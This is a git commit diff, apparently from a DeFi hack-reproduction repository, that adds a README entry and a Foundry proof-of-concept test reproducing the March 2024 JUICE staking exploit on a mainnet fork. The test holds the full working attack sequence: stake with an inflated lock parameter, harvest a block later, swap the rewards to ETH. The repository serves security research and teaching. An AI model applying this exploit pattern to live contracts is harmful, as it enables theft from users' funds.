feat: Add POC for JUICE staking exploit

README.md

@@ -2,7 +2,7 @@
 
 **Reproduce DeFi hack incidents using Foundry.**
 
-376 incidents included.
+377 incidents included.
 
 Let's make Web3 secure! Join [Discord](https://discord.gg/Fjyngakf3h)
 
@@ -34,6 +34,7 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
 - Lesson 7: Hack Analysis: Nomad Bridge, August 2022 ( [English](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/en/) | [中文](https://github.com/SunWeb3Sec/DeFiHackLabs/tree/main/academy/onchain_debug/07_Analysis_nomad_bridge/) )
 
 ## List of Past DeFi Incidents
+[20240309 Juice](#20240309-juice---business-logic-flaw)
 
 [20240325 ZongZi](#20240325-zongzi---price-manipulation)
 
@@ -821,6 +822,25 @@ All articles are also published on [Substack](https://defihacklabs.substack.com/
 
 ### List of DeFi Hacks & POCs
 
+
+
+
+### 20240309 Juice - 
+
+### Lost: ~54 ETH
+
+
+```sh
+forge test --contracts ./src/test/Juice_exp.sol -vvv
+```
+#### Contract
+[Juice_exp.sol](src/test/Juice_exp.sol)
+### Link reference
+
+https://medium.com/@juicebotapp/juice-staking-exploit-next-steps-95e218b3ec71
+
+---
+
 ### 20240325 ZongZi - Price Manipulation
 
 ### Lost: ~223K

src/test/Juice_exp.sol

@@ -0,0 +1,72 @@
+// SPDX-License-Identifier: UNLICENSED
+pragma solidity ^0.8.15;
+
+import "forge-std/Test.sol";
+import "./interface.sol";
+
+// @KeyInfo - Total Lost : ~54 ETH
+// Attacker : https://etherscan.io/address/0x3fA19214705BC82cE4b898205157472A79D026BE
+// Attack Contract : https://etherscan.io/address/0xa8b45dEE8306b520465f1f8da7E11CD8cFD1bBc4
+// Vulnerable Contract : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e
+// Attack Tx : https://etherscan.io/tx/0xc9b2cbc1437bbcd8c328b6d7cdbdae33d7d2a9ef07eca18b4922aac0430991e7
+
+// @Info
+// Vulnerable Contract Code : https://etherscan.io/address/0x8584ddbd1e28bca4bc6fb96bafe39f850301940e#code
+
+interface IStake {
+    function harvest(uint256) external;
+    function stake(uint256, uint256) external;
+}
+
+contract Juice is Test {
+    uint256 blocknumToForkFrom = 19395636;
+    IERC20 JUICE = IERC20(0xdE5d2530A877871F6f0fc240b9fCE117246DaDae);
+    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
+    IStake JuiceStaking = IStake(0x8584DdbD1E28bCA4bc6Fb96baFe39f850301940e);
+
+    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
+
+    function setUp() public {
+
+        vm.createSelectFork("mainnet", blocknumToForkFrom);
+    }
+
+    function testExploit() public {
+        emit log_named_decimal_uint("[Start] Attacker ETH balance before exploit", address(this).balance, 18);
+
+        //stake 0.5 ETH
+        ETHtoJUICE(0.5 ether);
+        JUICE.approve(address(JuiceStaking), type(uint256).max);
+        JuiceStaking.stake(JUICE.balanceOf(address(this)),3000_000_000);
+
+        // harvest JUICE token a block later
+        vm.roll(block.number + 1);
+        vm.warp(block.timestamp + 12);
+        JuiceStaking.harvest(0);
+        JUICE.approve(address(Router), type(uint256).max);
+        JUICEtoETH();
+
+        // Log balances after exploit
+        emit log_named_decimal_uint("[End] Attacker ETH Balance After exploit", address(this).balance, 18);
+    }
+
+    function ETHtoJUICE(uint256 amount) internal {
+        address[] memory path = new address[](2);
+        path[0] = address(WETH);
+        path[1] = address(JUICE);
+        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
+            0, path, address(this), block.timestamp + 60
+        );
+    }
+
+    function JUICEtoETH() internal {
+        address[] memory path = new address[](2);
+        path[0] = address(JUICE);
+        path[1] = address(WETH);
+        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
+            JUICE.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60
+        );
+    }
+
+    fallback() external payable {}
+}